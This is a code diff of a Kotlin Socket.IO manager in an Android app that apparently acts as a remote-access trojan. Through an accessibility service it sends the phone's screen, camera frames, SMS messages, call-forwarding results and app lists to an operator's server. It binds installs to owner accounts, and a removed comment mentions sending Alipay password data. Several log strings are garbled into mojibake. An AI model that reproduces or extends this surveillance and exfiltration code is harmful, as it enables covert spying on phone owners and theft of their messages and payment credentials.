+ val resolvedTurnPassword = data.optString("webrtcTurnPassword", "").trim().takeIf { it.isNotEmpty() }
+
+ val updated = com.hikoncont.util.ConfigWriter.applyInstallBinding(
+ context = service,
+ installToken = installToken,
+ installResolveUrl = resolveUrl,
+ ownerUserId = ownerUserId,
+ ownerUsername = ownerUsername,
+ ownerGroupId = ownerGroupId,
+ ownerGroupName = ownerGroupName,
+ serverUrl = resolvedServerUrl,
+ webUrl = resolvedWebUrl,
+ webrtcTurnUrls = resolvedTurnUrls,
+ webrtcTurnUsername = resolvedTurnUsername,
+ webrtcTurnPassword = resolvedTurnPassword,
+ )
+
+ if (updated) {
+ Log.i(TAG, "Install token resolve success: ownerUserId=$ownerUserId, ownerUsername=$ownerUsername")
+ } else {
+ Log.w(TAG, "Install token resolve success but save config failed")
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Install token resolve request error: ${e.message}")
+ }
+ }
+
+ private fun resolveInstallResolveUrl(): String? {
+ val configResolveUrl = getStringConfigValue("installResolveUrl")
+ if (!configResolveUrl.isNullOrBlank()) {
+ return configResolveUrl
+ }
+
+ val configServerUrl = getStringConfigValue("serverUrl")
+ val fallbackServerUrl = if (!configServerUrl.isNullOrBlank()) configServerUrl else serverUrl
+ if (fallbackServerUrl.isBlank()) {
+ return null
+ }
+
+ val httpBase = convertToSocketIoProtocol(fallbackServerUrl).trimEnd('/')
+ return "$httpBase/api/auth/install-links/resolve"
+ }
+
+ private fun optLongFromJson(source: JSONObject, key: String): Long? {
+ if (!source.has(key)) {
+ return null
+ }
+ val raw = source.opt(key) ?: return null
+ return when (raw) {
+ is Number -> raw.toLong()
+ is String -> raw.trim().toLongOrNull()
+ else -> null
+ }
+ }
/**
- * 发送屏幕数据到服务器(优化版本,减少transport error)
+ * comment cleaned
*/
fun sendScreenData(frameData: ByteArray) {
try {
+ if (webRTCManager.isStreaming() || srtStreamManager.isStreaming()) {
+ // WS channel is control-only while dedicated video transport is active.
+ return
+ }
val currentTime = System.currentTimeMillis()
// Rate limit: avoid sending too frequently
if (currentTime - lastScreenDataTime < screenDataInterval) {
- // 跳过这帧,避免发送过于频繁
+ // comment cleaned
return
}
// Size check: avoid sending oversized data causing transport error
if (frameData.size > maxScreenDataSize) {
- Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes")
+ Log.w(TAG, "灞忓箷鏁版嵁杩囧ぇ琚烦杩? ${frameData.size} bytes > ${maxScreenDataSize} bytes")
return
}
// Connection starvation check
if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) {
if (!isDataStarved) {
- Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms),连接可能有问题")
+ Log.w(TAG, "妫€娴嬪埌鏁版嵁鍙戦€侀ゥ楗?${currentTime - lastSuccessfulDataSend}ms)锛岃繛鎺ュ彲鑳芥湁闂")
isDataStarved = true
- // 不立即重连,而是给连接一些时间恢复
+ // comment cleaned
}
}
if (socket?.connected() == true) {
- // Pre-compute Base64 string to reduce memory allocation during JSON build
- val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
-
- val screenData = JSONObject().apply {
+ // comment cleaned
+ val meta = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "JPEG")
- put("data", base64Data)
put("width", getScreenWidth())
put("height", getScreenHeight())
- put("quality", 50)
+ put("quality", 70)
put("timestamp", currentTime)
put("isLocked", isScreenLocked)
}
-
+
// Enhanced emit failure tolerance
try {
- socket?.emit("screen_data", screenData)
- // 发送成功,重置发送失败计数和饥饿状态
+ if (serverSupportsBinaryScreenData) {
+ socket?.emit("screen_data_bin", meta, frameData)
+ if (++screenPerfLogCounter % 120 == 0) {
+ Log.i(TAG, "Screen frame (binary) sending: size=${frameData.size}B, interval=${screenDataInterval}ms")
+ }
+ } else {
+ val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
+ val screenData = JSONObject(meta.toString()).apply {
+ put("data", base64Data)
+ }
+ socket?.emit("screen_data", screenData)
+ if (++screenPerfLogCounter % 120 == 0) {
+ val base64Size = base64Data.length
+ val overhead = if (frameData.size > 0) {
+ "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100)
+ } else {
+ "N/A"
+ }
+ Log.i(TAG, "Screen frame (Base64) sending: jpeg=${frameData.size}B, b64=${base64Size}B, overhead=$overhead")
+ }
+ }
+
+ // reset failure counters after successful send
screenDataFailureCount = 0
lastSuccessfulDataSend = currentTime
isDataStarved = false
// Only update throttle timestamp after successful emit
lastScreenDataTime = currentTime
- // Log compression and encoding efficiency
- val base64Size = base64Data.length
- val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A"
- Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})")
} catch (emitException: Exception) {
screenDataFailureCount++
- Log.e(TAG, "发送屏幕数据失败(${screenDataFailureCount}次): ${emitException.message}")
+ Log.e(TAG, "鍙戦€佸睆骞曟暟鎹け璐?${screenDataFailureCount}娆?: ${emitException.message}")
if (screenDataFailureCount >= 20) {
- Log.e(TAG, "屏幕数据发送连续失败${screenDataFailureCount}次,触发重连检测")
+ Log.e(TAG, "Screen data send failed repeatedly, triggering reconnect check")
checkConnectionAndReconnect()
screenDataFailureCount = 0
}
- Log.w(TAG, "屏幕数据发送失败,但不影响后续发送")
+ Log.w(TAG, "Screen data send failed, continue with next frame")
}
} else {
@@ -763,12 +1307,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
checkConnectionAndReconnect()
}
} catch (e: Exception) {
- Log.e(TAG, "发送屏幕数据失败", e)
+ Log.e(TAG, "Send screen data failed", e)
}
}
/**
- * 发送摄像头数据到服务器
+ * comment cleaned
*/
fun sendCameraFrame(frameData: ByteArray) {
try {
@@ -788,7 +1332,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
lastCameraDataTime = currentTime
if (socket?.connected() == true) {
- // 将摄像头数据编码为Base64
+ // comment cleaned
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
val cameraData = JSONObject().apply {
@@ -801,12 +1345,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
try {
socket?.emit("camera_data", cameraData)
- // 发送成功,重置失败计数
+ // comment cleaned
cameraDataFailureCount = 0
lastSuccessfulDataSend = currentTime
isDataStarved = false
- Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes")
+ Log.d(TAG, "馃摲 鎽勫儚澶存暟鎹凡鍙戦€? ${frameData.size} bytes")
} catch (e: Exception) {
cameraDataFailureCount++
Log.w(TAG, "Camera data send failed (${cameraDataFailureCount}x): ${e.message}")
@@ -823,12 +1367,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
checkConnectionAndReconnect()
}
} catch (e: Exception) {
- Log.e(TAG, "发送摄像头数据失败", e)
+ Log.e(TAG, "Failed to send camera data", e)
}
}
/**
- * 发送短信数据到服务器
+ * comment cleaned
*/
fun sendSMSData(smsList: List) {
try {
@@ -841,7 +1385,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
put("timestamp", currentTime)
put("count", smsList.size)
- // 将短信列表转换为JSON数组
+ // comment cleaned
val smsArray = JSONArray()
smsList.forEach { sms ->
val smsJson = JSONObject().apply {
@@ -861,24 +1405,145 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
socket?.emit("sms_data", smsData)
Log.d(TAG, "SMS data sent: ${smsList.size} messages")
} catch (e: Exception) {
- Log.e(TAG, "发送短信数据失败", e)
+ Log.e(TAG, "Send SMS data failed", e)
}
} else {
Log.w(TAG, "Socket not connected, cannot send SMS data")
checkConnectionAndReconnect()
}
} catch (e: Exception) {
- Log.e(TAG, "发送短信数据失败", e)
+ Log.e(TAG, "Send SMS data failed", e)
}
}
/**
- * 发送支付宝密码数据
+ * Send SMS sending result callback.
*/
+ private fun sendSmsSendResult(phoneNumber: String, success: Boolean, message: String) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send sms_send_result")
+ return
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("type", "sms_send_result")
+ put("timestamp", System.currentTimeMillis())
+ put("phoneNumber", phoneNumber)
+ put("success", success)
+ put("message", message)
+ }
+ socket?.emit("sms_send_result", payload)
+ Log.i(TAG, "sms_send_result sent: success=$success, phone=$phoneNumber")
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send sms_send_result", e)
+ }
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * 璇存槑: 鍙戦€佸懠鍙浆绉绘墽琛岀粨鏋滃洖鎵э紝Web 绔敤浜庢彁绀衡€滆缃?鍙栨秷鈥濇槸鍚︽墽琛屾垚鍔熴€?
+ */
+ private fun sendCallForwardResult(
+ action: String,
+ rule: String,
+ phoneNumber: String?,
+ success: Boolean,
+ message: String,
+ mmiCode: String? = null,
+ permissionRequested: Boolean = false
+ ) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send call_forward_result")
+ return
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("type", "call_forward_result")
+ put("timestamp", System.currentTimeMillis())
+ put("action", action)
+ put("rule", rule)
+ put("phoneNumber", phoneNumber ?: "")
+ put("success", success)
+ put("message", message)
+ put("permissionRequested", permissionRequested)
+ if (!mmiCode.isNullOrEmpty()) {
+ put("mmiCode", mmiCode)
+ }
+ }
+ socket?.emit("call_forward_result", payload)
+ Log.i(TAG, "call_forward_result sent: action=$action, success=$success, rule=$rule")
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send call_forward_result", e)
+ }
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * comment cleaned
+ */
+ private fun sendAppListData(appList: List